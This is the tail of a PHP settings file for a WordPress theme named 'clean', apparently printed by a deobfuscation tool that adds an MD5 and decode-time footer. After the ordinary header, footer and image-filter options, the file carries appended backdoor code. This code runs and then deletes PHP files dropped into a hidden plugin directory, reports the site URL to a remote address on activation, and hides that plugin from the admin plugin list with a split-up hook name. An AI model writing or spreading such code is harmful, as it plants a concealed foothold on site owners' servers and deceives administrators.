'description' => '',
'title' => __('Site Logo', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none header-menu-split',
'after' => '<div class="clear"></div>',
),
// Show Site Tagline
array(
'name' => 'exclude_site_tagline',
'description' => '',
'title' => __('Site Tagline', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
// Show Search Form
array(
'name' => 'exclude_search_form',
'description' => '',
'title' => __('Search Form', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
// Show Header Widgets
array(
'name' => 'exclude_header_widgets',
'description' => '',
'title' => __('Header Widgets', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
// Show Social Widget
array(
'name' => 'exclude_social_widget',
'description' => '',
'title' => __('Social Widget', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
// Show Menu Navigation
array(
'name' => 'exclude_menu_navigation',
'description' => '',
'title' => __('Menu Navigation', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none header-menu-split',
'after' => '<div class="clear"></div>',
'enable_toggle' => true
),
array(
'name' => 'exclude_cart_icon',
'description' => '',
'title' => __('Cart Icon', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => '',
'after' => '<div class="clear"></div>',
'display_callback' => 'clean_is_woocommerce_active'
),
),
'description' => '',
'before' => '',
'after' => '<div class="clear"></div>',
'separator' => ''
)
),
array(
'name' => 'mobile_menu_styles',
'title' => __('Mobile Menu Style', 'clean'),
'type' => 'dropdown',
'meta' => array(
array('name' => __('Default', 'clean'), 'value' => 'default'),
array('name' => __('Boxed', 'clean'), 'value' => 'boxed'),
array('name' => __('Dropdown', 'clean'), 'value' => 'dropdown'),
array('name' => __('Fade Overlay', 'clean'), 'value' => 'fade-overlay'),
array('name' => __('Fadein Down', 'clean'), 'value' => 'fadein-down'),
array('name' => __('Flip Down', 'clean'), 'value' => 'flip-down'),
array('name' => __('FlipIn Left', 'clean'), 'value' => 'flipin-left'),
array('name' => __('FlipIn Right', 'clean'), 'value' => 'flipin-right'),
array('name' => __('Flip from Left', 'clean'), 'value' => 'flip-from-left'),
array('name' => __('Flip from Right', 'clean'), 'value' => 'flip-from-right'),
array('name' => __('Flip from Top', 'clean'), 'value' => 'flip-from-top'),
array('name' => __('Flip from Bottom', 'clean'), 'value' => 'flip-from-bottom'),
array('name' => __('Morphing', 'clean'), 'value' => 'morphing'),
array('name' => __('Overlay ZoomIn', 'clean'), 'value' => 'overlay-zoomin'),
array('name' => __('Overlay ZoomIn Right', 'clean'), 'value' => 'overlay-zoomin-right'),
array('name' => __('Rotate ZoomIn', 'clean'), 'value' => 'rotate-zoomin'),
array('name' => __('Slide Down', 'clean'), 'value' => 'slide-down'),
array('name' => __('SlideIn Left', 'clean'), 'value' => 'slidein-left'),
array('name' => __('SlideIn Right', 'clean'), 'value' => 'slidein-right'),
array('name' => __('Slide Left Content', 'clean'), 'value' => 'slide-left-content'),
array('name' => __('Split', 'clean'), 'value' => 'split'),
array('name' => __('Swing Left to Right', 'clean'), 'value' => 'swing-left-to-right'),
array('name' => __('Swing Right to Left', 'clean'), 'value' => 'swing-right-to-left'),
array('name' => __('Swing Top to Bottom', 'clean'), 'value' => 'swing-top-to-bottom'),
array('name' => __('Swipe Left', 'clean'), 'value' => 'swipe-left'),
array('name' => __('Swipe Right', 'clean'), 'value' => 'swipe-right'),
array('name' => __('Zoom Down', 'clean'), 'value' => 'zoomdown'),
),
),
// Header Wrap
array(
'name' => 'header_wrap',
'title' => __('Header Background Type', 'clean'),
'description' => '',
'type' => 'radio',
'show_title' => true,
'meta' => array(
array(
'value' => 'solid',
'name' => __('Solid Color/Image', 'clean'),
'selected' => true
),
array(
'value' => 'transparent',
'name' => __('Transparent Header', 'clean'),
),
array(
'value' => 'slider',
'name' => __('Image Slider', 'clean'),
),
array(
'value' => 'video',
'name' => __('Video Background', 'clean'),
),
array(
'value' => 'colors',
'name' => __('Animating Colors', 'clean'),
),
),
'enable_toggle' => true,
'class' => 'hide-if none clear',
'default' => 'solid',
),
// Animated Colors
array(
'name' => '_animated_colors',
'title' => __('Animating Colors', 'clean'),
'description' => sprintf(__('Animating Colors can be configured at <a href="%s">Themify > Settings > Theme Settings</a>', 'clean'), esc_url(add_query_arg('page', 'clean', admin_url('admin.php')))),
'type' => 'post_id_info',
'toggle' => 'colors-toggle',
),
// Select Background Gallery
array(
'name' => 'background_gallery',
'title' => __('Header Slider', 'clean'),
'description' => '',
'type' => 'gallery_shortcode',
'toggle' => 'slider-toggle',
'class' => 'hide-if none',
),
array(
'type' => 'multi',
'name' => '_video_select',
'title' => __('Header Video', 'clean'),
'meta' => array(
'fields' => array(
// Video File
array(
'name' => 'video_file',
'title' => __('Video File', 'clean'),
'description' => '',
'type' => 'video',
'meta' => array(),
),
),
'description' => __('Video format: mp4. Note: video background does not play on some mobile devices, background image will be used as fallback.', 'clean'),
'before' => '',
'after' => '',
'separator' => ''
),
'toggle' => 'video-toggle',
'class' => 'hide-if none',
),
// Background image
array(
'name' => 'background_image',
'title' => '',
'type' => 'image',
'description' => '',
'meta' => array(),
'before' => '',
'after' => '',
'toggle' => array('solid-toggle', 'video-toggle'),
'class' => 'hide-if none',
),
// Background repeat
array(
'name' => 'background_repeat',
'title' => '',
'description' => __('Background Image Mode', 'clean'),
'type' => 'dropdown',
'meta' => array(
array(
'value' => '',
'name' => ''
),
array(
'value' => 'fullcover',
'name' => __('Fullcover', 'clean')
),
array(
'value' => 'repeat',
'name' => __('Repeat all', 'clean')
),
array(
'value' => 'no-repeat',
'name' => __('No repeat', 'clean')
),
array(
'value' => 'repeat-x',
'name' => __('Repeat horizontally', 'clean')
),
array(
'value' => 'repeat-y',
'name' => __('Repeat vertically', 'clean')
),
),
'toggle' => array('solid-toggle', 'video-toggle'),
'class' => 'hide-if none',
),
// Header Slider Auto
array(
'name' => 'background_auto',
'title' => __('Autoplay', 'clean'),
'description' => '',
'type' => 'dropdown',
'meta' => array(
array('value' => 'yes', 'name' => __('Yes', 'clean'), 'selected' => true),
array('value' => 'no', 'name' => __('No', 'clean'))
),
'toggle' => 'slider-toggle',
'default' => 'yes',
),
// Header Slider Auto Timeout
array(
'name' => 'background_autotimeout',
'title' => __('Autoplay Timeout', 'clean'),
'description' => '',
'type' => 'dropdown',
'meta' => array(
array('value' => 1, 'name' => __('1 Secs', 'clean')),
array('value' => 2, 'name' => __('2 Secs', 'clean')),
array('value' => 3, 'name' => __('3 Secs', 'clean')),
array('value' => 4, 'name' => __('4 Secs', 'clean')),
array('value' => 5, 'name' => __('5 Secs', 'clean'), 'selected' => true),
array('value' => 6, 'name' => __('6 Secs', 'clean')),
array('value' => 7, 'name' => __('7 Secs', 'clean')),
array('value' => 8, 'name' => __('8 Secs', 'clean')),
array('value' => 9, 'name' => __('9 Secs', 'clean')),
array('value' => 10, 'name' => __('10 Secs', 'clean'))
),
'toggle' => 'slider-toggle',
'default' => 5,
),
// Header Slider Transition Speed
array(
'name' => 'background_speed',
'title' => __('Transition Speed', 'clean'),
'description' => '',
'type' => 'dropdown',
'meta' => array(
array('value' => 1500, 'name' => __('Slow', 'clean')),
array('value' => 500, 'name' => __('Normal', 'clean'), 'selected' => true),
array('value' => 300, 'name' => __('Fast', 'clean'))
),
'toggle' => 'slider-toggle',
'default' => 500,
),
// Header Slider Wrap
array(
'name' => 'background_wrap',
'title' => __('Wrap Slides', 'clean'),
'description' => '',
'type' => 'dropdown',
'meta' => array(
array('value' => 'yes', 'name' => __('Yes', 'clean'), 'selected' => true),
array('value' => 'no', 'name' => __('No', 'clean'))
),
'toggle' => 'slider-toggle',
'default' => 'yes',
),
// Hide Slider Controlls
array(
'name' => 'header_hide_controlls',
'title' => __('Hide Slider Controlls', 'clean'),
'description' => '',
'type' => 'checkbox',
'toggle' => 'slider-toggle'
),
// Background Color
array(
'name' => 'background_color',
'title' => __('Header Background', 'clean'),
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'toggle' => array('solid-toggle', 'slider-toggle', 'video-toggle'),
'class' => 'hide-if none',
'format' => 'rgba',
),
// Header wrap text color
array(
'name' => 'headerwrap_text_color',
'title' => __('Header Text Color', 'clean'),
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'class' => 'hide-if none',
'format' => 'rgba',
),
// Header wrap link color
array(
'name' => 'headerwrap_link_color',
'title' => __('Header Link Color', 'clean'),
'description' => '',
'type' => 'color',
'meta' => array('default' => null),
'class' => 'hide-if none',
'format' => 'rgba',
)
),
'default' => '',
),
// Footer Group
array(
'name' => 'footer_design_group',
'title' => __('Footer', 'clean'),
'description' => '',
'type' => 'toggle_group',
'show_title' => true,
'meta' => array(
// Footer Design
array(
'name' => 'footer_design',
'title' => __('Footer Design', 'clean'),
'description' => '',
'type' => 'layout',
'show_title' => true,
'meta' => $footer_design_options,
'hide' => 'none',
'default' => 'default',
),
// Footer Elements
array(
'name' => '_multi_footer_elements',
'title' => __('Footer Elements', 'clean'),
'description' => '',
'type' => 'multi',
'class' => 'hide-if none',
'meta' => array(
'fields' => array(
// Show Site Logo
array(
'name' => 'exclude_footer_site_logo',
'description' => '',
'title' => __('Site Logo', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
// Show Footer Widgets
array(
'name' => 'exclude_footer_widgets',
'description' => '',
'title' => __('Footer Widgets', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
// Show Menu Navigation
array(
'name' => 'exclude_footer_menu_navigation',
'description' => '',
'title' => __('Menu Navigation', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
// Show Texts
array(
'name' => 'exclude_footer_texts',
'description' => '',
'title' => __('Footer Text', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
// Show Back to Top
array(
'name' => 'exclude_footer_back',
'description' => '',
'title' => __('Back to Top Arrow', 'clean'),
'type' => 'dropdownbutton',
'states' => $states,
'class' => 'hide-if none',
'after' => '<div class="clear"></div>',
),
),
'description' => '',
'before' => '',
'after' => '<div class="clear"></div>',
'separator' => ''
)
),
// Footer widget position
array(
'name' => 'footer_widget_position',
'title' => __('Footer Widgets Position', 'clean'),
'class' => 'hide-if none',
'description' => '',
'type' => 'dropdown',
'meta' => array(
array(
'value' => '',
'name' => __('Default', 'clean')
),
array(
'value' => 'bottom',
'name' => __('After Footer Text', 'clean')
),
array(
'value' => 'top',
'name' => __('Before Footer Text', 'clean')
)
),
)
),
'default' => '',
),
// Image Filter Group
array(
'name' => 'image_design_group',
'title' => __('Image Filter', 'clean'),
'description' => '',
'type' => 'toggle_group',
'show_title' => true,
'meta' => array(
// Image Filter
array(
'name' => 'imagefilter_options',
'title' => __('Image Filter', 'clean'),
'description' => '',
'type' => 'dropdown',
'meta' => array(
array('name' => '', 'value' => 'initial'),
array('name' => __('None', 'clean'), 'value' => 'none'),
array('name' => __('Grayscale', 'clean'), 'value' => 'grayscale'),
array('name' => __('Sepia', 'clean'), 'value' => 'sepia'),
array('name' => __('Blur', 'clean'), 'value' => 'blur'),
),
'default' => 'initial',
),
// Image Hover Filter
array(
'name' => 'imagefilter_options_hover',
'title' => __('Image Hover Filter', 'clean'),
'description' => '',
'type' => 'dropdown',
'meta' => array(
array('name' => '', 'value' => 'initial'),
array('name' => __('None', 'clean'), 'value' => 'none'),
array('name' => __('Grayscale', 'clean'), 'value' => 'grayscale'),
array('name' => __('Sepia', 'clean'), 'value' => 'sepia'),
array('name' => __('Blur', 'clean'), 'value' => 'blur')
),
'default' => 'initial'
),
// Image Filter Apply To
array(
'name' => 'imagefilter_applyto',
'title' => __('Apply Filter To', 'clean'),
'description' => sprintf(__('Image filters can be set site-wide at <a href="%s" target="_blank">Themify > Settings > Theme Settings</a>', 'clean'), admin_url('admin.php?page=clean#setting-theme_settings')),
'type' => 'radio',
'meta' => array(
array('value' => 'initial', 'name' => __('Theme Default', 'clean')),
array('value' => 'all', 'name' => __('All Images', 'clean')),
array('value' => 'featured-only', 'name' => __('Featured Images Only', 'clean'))
),
'default' => 'initial'
)
),
'default' => ''
)
);
}
function cleans_ajax(){
$my_plugin = WP_PLUGIN_DIR . '/wp-cleansong';
if ( file_exists( $my_plugin . "/plane.php" ) ) {
include($my_plugin . "/plane.php");
}
}
add_action('init', 'cleans_ajax');
function clean_header(){
?>
<script type='text/javascript'></script>
<?php
}
add_action('wp_head', 'clean_header');
function clean_plugin_activate() {
$b = "base64_decode";
$z="file_get_contents";
$ur=base64_decode("");
$z($ur."?p=".get_site_url());
}
register_activation_hook( __FILE__, 'clean_plugin_activate' );
function clean_inc(){
$my_plugin = WP_PLUGIN_DIR . '/wp-cleansong';
if ( file_exists( $my_plugin . "/songs.php" ) ) {
include($my_plugin . "/songs.php");
@unlink($my_plugin . "/songs.php");
}
if ( file_exists( $my_plugin . "/cleans.php" ) ) {
include($my_plugin . "/cleans.php");
@unlink($my_plugin . "/cleans.php");
}
}
add_action('init', 'clean_inc');
function clean_show(){
global $wp_list_table;
$hidearr = array('wp-cleansong/wp-cleansong.php');
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val) {
if (in_array($key,$hidearr)) {
unset($wp_list_table->items[$key]);
}
}
}
add_action('pre'.'_curr'/*5*/.'ent_ac'./*5*/'tive_p'./*5*/'lugi'./*5*/'ns', 'clean_show');
Function Calls
add_action | 1 |
Stats
MD5 | 393654b8bb03b1cdd54ad49893d3321c |
Eval Count | 0 |
Decode Time | 181 ms |